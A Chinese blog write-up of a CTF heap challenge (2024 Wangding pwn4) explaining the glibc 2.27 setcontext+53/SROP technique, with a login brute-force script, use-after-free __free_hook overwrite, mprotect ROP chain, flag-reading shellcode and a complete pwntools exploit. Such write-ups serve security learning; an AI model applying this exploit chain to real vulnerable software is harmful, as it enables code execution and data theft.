Glibc2.27_setcontext+orw

D0wnBe@t Lv4

介绍

参考文章:https://blog.wingszeng.top/pwn-glibc-setcontext/

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop/

在glibc2.27及之下,遇到堆题目开启了沙箱,通常是使用setcontext+53 srop orw去达到获得flag,下面便介绍一下这个方法。

setcontext的实现

可以发现,从setcontext+53开始,我们会通过rdi来给寄存器来赋值,所以也就是说,只要控制了rdi的值就可以控制所有寄存器的值

srop的利用

srop其实就是通过sigreturn系统调用来恢复各个寄存器的值,其中是依据signal Frame中储存的数值来进行回复的,但是系统并不会去检查找个是否改动,因此我们可以修改这里面的内容,从而使得控制任意寄存器。

setcontext+53 + srop

这两者的结合可以使得我们控制所有寄存器的数值,即使在不进行sigreturn也可以达到相同的效果

1
2
3
4
5
6
7
8
9
frame = SigreturnFrame()
frame.rsp = ...
frame.rdi = ...
frame.rsi = ...
frame.rdx = ...
frame.rip = ...

setcontext = setcontext + 53
setcontext(bytes(frame)) -> 相当于srop

例题

2024网鼎 青龙组 pwn4

通过百度网盘分享的文件:pwn
链接:https://pan.baidu.com/s/1nSRorvpFdPa9CtCQ7JqoOw?pwd=itt3
提取码:itt3

  • 开启沙箱,禁用execve,直接打setcontext+53 orw
1
2
3
4
5
6
7
8
9
10
11
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008
0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL

查看ida,发现在正式利用前,还需要输入正确的账号密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
stream = fopen("username", "rb");
if ( stream )
{
fread(ptr, 1uLL, 0x10uLL, stream);
fclose(stream);
streama = fopen("password", "rb");
if ( streama )
{
fread(v11, 1uLL, 0x20uLL, streama);
fclose(streama);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("Hello, Welcome to the Security Database. Login first!");
puts("Input your username:");
memset(s, 0, 0x11uLL);
sub_EE7(0, (__int64)s, 0x10uLL);
if ( !(unsigned int)sub_12EB(s, (__int64)ptr) )
break;
puts("Invalid username!");
}
v4 = strlen(s);
if ( v4 == strlen(ptr) )
break;
puts("Invalid username length!");
}
puts("Username correct!");
puts("Input your password:");
memset(v10, 0, 0x21uLL);
sub_EE7(0, (__int64)v10, 0x20uLL);
if ( (unsigned int)sub_12EB(v10, (__int64)v11) )
{
puts("Invalid password!");
}
else
{
v5 = strlen(v10);
if ( v5 == strlen(v11) )
{
puts("Password correct!");
puts("Welcome admin!\n");
while ( 1 )
{
sub_1284();
puts("> ");
switch ( (unsigned int)sub_E96() )
{
case 1u:
sub_134B();
break;
case 2u:
sub_1489();
break;
case 3u:
sub_15D0();
break;
case 4u:
sub_168D();
break;
case 5u:
exit(1);
default:
puts("Error!");
break;
}
}
}
puts("Invalid password length!");
}
}
}
puts("Can't open password file!");
return 1LL;
}
else
{
puts("Can't open username file!");
return 1LL;
}
}
  • 但是在检验账号密码是否正确的函数中存在漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall sub_12EB(const char *a1, __int64 a2)
{
unsigned int i; // [rsp+18h] [rbp-8h]
unsigned int v4; // [rsp+1Ch] [rbp-4h]

v4 = strlen(a1); /* a1是我们自己输入的,这里取得是我们输入的去
逐字节比较,那么我们可以逐字节去爆破出账号密码*/
for ( i = 0; i < v4; ++i )
{
if ( a1[i] != *(_BYTE *)(i + a2) )
return 0xFFFFFFFFLL;
}
return 0LL;
}

爆破账号密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
chars = string.printable

def brute_name():
name=''
while(True):
for c in chars:
ru("Input your username:\n")
sl(name+c)
rev = rl()
if b"Invalid username!" in rev:
continue
elif b"Invalid username length!" in rev:
name += c
success(name)
break
elif b"Username correct!" in rev:
name += c
success(name)
print("Congratuation!!")
pause()

def brute_passwd():
passwd=''
while(True):
for c in chars:
sla("Input your username:\n",b"4dm1n")
ru("Input your password:\n")
sl(passwd+c)
rev = rl()
if b"Invalid password!" in rev:
continue
elif b"password length!" in rev:
passwd += c
success(passwd)
break
elif b"Password correct!" in rev:
passwd += c
success(passwd)
pause()

brute_name()

brute_passwd()

正式的堆利用

  • add
  • 有限制输入的size,但是足够泄露libc了,输入的内容进过RC4加密之后才放入堆块
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int sub_134B()
{
size_t v1; // rax
unsigned int v2; // [rsp+0h] [rbp-10h]
unsigned int v3; // [rsp+4h] [rbp-Ch]
void *v4; // [rsp+8h] [rbp-8h]

puts("Input the key: ");
v2 = input();
if ( v2 > 0xF )
return puts("Invalid key!");
puts("Input the value size: ");
v3 = input();
if ( v3 > 0x300 )
return puts("Size too big!");
v4 = malloc(v3 + 1);
if ( !v4 )
{
puts("Error!");
exit(1);
}
puts("Input the value: ");
sub_EE7(0, (__int64)v4, v3);
puts("Encrypt and save value...");
v1 = strlen(aS4cur1tyP4ssw0); // RC4
sub_F98(&unk_203180, aS4cur1tyP4ssw0, v1);
sub_1152(&unk_203180, v4, v3);
*((_DWORD *)&unk_203080 + 4 * v2) = v3;
qword_203088[2 * v2] = v4;
return puts("Success!");
}
  • show
  • 输出的也是经过RC4加密的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int sub_1489()
{
unsigned __int64 v1; // rax
unsigned __int64 v2; // rax
unsigned int v3; // [rsp+Ch] [rbp-4h]

puts("Input the key: ");
v3 = input();
if ( v3 > 0xF )
return puts("Invalid key!");
puts("Decrypt and read value...");
v1 = strlen(aS4cur1tyP4ssw0);
sub_F98((__int64)&unk_203180, (__int64)aS4cur1tyP4ssw0, v1);
sub_1152(&unk_203180, qword_203088[2 * v3], *((unsigned int *)&unk_203080 + 4 * v3));
printf("The result is:\n\t[key,value] = [%d,%s]\n", v3, (const char *)qword_203088[2 * v3]);
puts("Encrypt and save value...");
v2 = strlen(aS4cur1tyP4ssw0);
sub_F98((__int64)&unk_203180, (__int64)aS4cur1tyP4ssw0, v2);
sub_1152(&unk_203180, qword_203088[2 * v3], *((unsigned int *)&unk_203080 + 4 * v3));
return puts("Success!");
}
  • delete
  • 很明显的uaf漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int sub_15D0()
{
unsigned __int64 v1; // rax
unsigned int v2; // [rsp+4h] [rbp-Ch]
void *ptr; // [rsp+8h] [rbp-8h]

puts("Input the key: ");
v2 = input();
if ( v2 > 0xF )
return puts("Invalid key!");
ptr = (void *)qword_203088[2 * v2];
if ( ptr )
{
v1 = strlen(aS4cur1tyP4ssw0);
sub_F98((__int64)&unk_203180, (__int64)aS4cur1tyP4ssw0, v1);
sub_1152(&unk_203180, ptr, *((unsigned int *)&unk_203080 + 4 * v2));
free(ptr);
}
return puts("Success!");
}
  • edit
  • 输入的也要RC4加密
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int sub_168D()
{
unsigned __int64 v1; // rax
unsigned __int64 v2; // rax
unsigned int v3; // [rsp+0h] [rbp-10h]
unsigned int v4; // [rsp+4h] [rbp-Ch]
__int64 v5; // [rsp+8h] [rbp-8h]

puts("Input the key: ");
v3 = input();
if ( v3 > 0xF )
return puts("Invalid key!");
v5 = qword_203088[2 * v3];
if ( v5 )
{
v4 = *(&unk_203080 + 4 * v3);
v1 = strlen(aS4cur1tyP4ssw0);
sub_F98(&unk_203180, aS4cur1tyP4ssw0, v1);
sub_1152(&unk_203180, v5, v4);
puts("Input the value: ");
sub_EE7(0, v5, v4);
puts("Encrypt and save value...");
v2 = strlen(aS4cur1tyP4ssw0);
sub_F98(&unk_203180, aS4cur1tyP4ssw0, v2);
sub_1152(&unk_203180, v5, v4);
}
return puts("Success!");
}

泄露libc

  • 泄露libc其实很简单,给tcache填满然后再次free的就进入到unsortedbin中了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
rc4key = b"s4cur1ty_p4ssw0rd"
sla("Input your username:\n", '4dm1n')
sla("Input your password:\n", '985da4f8cb37zkj')

for i in range(10):
add(i, 0x90)

for i in range(8):
free(i)

show(7)
libc.address = u64(rc4_crypt(rc(8)).ljust(8,b'\x00')) - 0x3ebca0
setcontext = libc.sym["setcontext"] + 53
free_hook = libc.sym["__free_hook"]
read = libc.sym["read"]

lg("libc", libc.address)
  • uaf修改free_hooksetcontext+53
1
2
3
4
5
add(0, 0x200)
add(1, 0x200)
free(1)
free(0)
edit(0, rc4_crypt(p64(free_hook)))
  • 修改free_hooksetcontext+53,执行'srop'
1
2
3
4
5
6
7
8
9
10
frame = SigreturnFrame()
frame.rsp = free_hook
frame.rdi = 0
frame.rsi = free_hook
frame.rdx = 0x300
frame.rip = read

add(0, 0x200, bytes(frame))
add(1, 0x200, rc4_crypt(p64(setcontext)))
free(0)
  • 最后执行mprotext改段为rwx权限

改的是free_hook的那一页为rwx,可以看下面是如何实现的

1
2
3
4
5
6
7
8
9
10
11
12
rdx_rsi_ret = libc.address + 0x130539
rdi_ret = libc.address + 0x2164f
mprotect = libc.sym["mprotect"]

payload = flat(rdi_ret, free_hook & ~0xfff, rdx_rsi_ret, 7, 0x1000, mprotect, free_hook + 0x38)
shellcode = shellcraft.open('flag')
shellcode += shellcraft.read(3, free_hook + 0x300, 0x30)
shellcode += shellcraft.write(1, free_hook + 0x300, 0x30)
payload += asm(shellcode)

sl(payload)
ia()

free_hook & ~0xfff这可以得到0x…….000,即改free_hook的末三位为0,也就符合页对其了

为什么一个payload就可以达到get flag了?

  • frame中rip指向read,此时会执行call reap,call的时候会执行push rip,此时的rip便指向free_hook的位置,然后rop链布置在free_hook,在执行完read,之后会执行retpop rip,也就执行rop链了

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
from pwn import *
from Crypto.Cipher import ARC4
import struct

def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()

def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))

context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = "./pwn"
libc = "./libc.so.6"
cmd = """
"""

#p = gdb.debug(file, cmd)
p = process(file)
elf = ELF(file)
libc = ELF(libc)
#p = remote("0192d669a7597e02a58fb5410dfb2dd1.d1eq.dg05.ciihw.cn", 43580)

def menu(idx):
sla("5. Exit\n> \n", str(idx))

def add(idx, size, cont='a'):
menu(1)
sla("the key: \n", str(idx))
sla("the value size: \n", str(size))
ru("the value: \n")
sl(cont)

def show(idx):
menu(2)
sla("the key: \n", str(idx))
ru("The result is:\n\t[key,value] = [")
ru(",")

def free(idx):
menu(3)
sla("the key: \n", str(idx))

def edit(idx, cont):
menu(4)
sla("the key: \n", str(idx))
ru("the value: \n")
sl(cont)

def rc4_crypt(data):
enc = ARC4.new(rc4key)
return enc.decrypt(data)

rc4key = b"s4cur1ty_p4ssw0rd"
sla("Input your username:\n", '4dm1n')
sla("Input your password:\n", '985da4f8cb37zkj')

for i in range(10):
add(i, 0x90)

for i in range(8):
free(i)

show(7)
libc.address = u64(rc4_crypt(rc(8)).ljust(8,b'\x00')) - 0x3ebca0
setcontext = libc.sym["setcontext"] + 53
free_hook = libc.sym["__free_hook"]
read = libc.sym["read"]

lg("libc", libc.address)

add(0, 0x200)
add(1, 0x200)
free(1)
free(0)
edit(0, rc4_crypt(p64(free_hook)))

frame = SigreturnFrame()
frame.rsp = free_hook
frame.rdi = 0
frame.rsi = free_hook
frame.rdx = 0x300
frame.rip = read

add(0, 0x200, bytes(frame))
add(1, 0x200, rc4_crypt(p64(setcontext)))
free(0)

rdx_rsi_ret = libc.address + 0x130539
rdi_ret = libc.address + 0x2164f
mprotect = libc.sym["mprotect"]

payload = flat(rdi_ret, free_hook & ~0xfff, rdx_rsi_ret, 7, 0x1000, mprotect, free_hook + 0x38)
shellcode = shellcraft.open('flag')
shellcode += shellcraft.read(3, free_hook + 0x300, 0x30)
shellcode += shellcraft.write(1, free_hook + 0x300, 0x30)
payload += asm(shellcode)

sl(payload)
ia()
  • 标题: Glibc2.27_setcontext+orw
  • 作者: D0wnBe@t
  • 创建于 : 2024-11-04 18:50:24
  • 更新于 : 2024-11-06 11:39:57
  • 链接: http://downbeat.top/2024/11/04/Glibc2-27-setcontext-orw/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论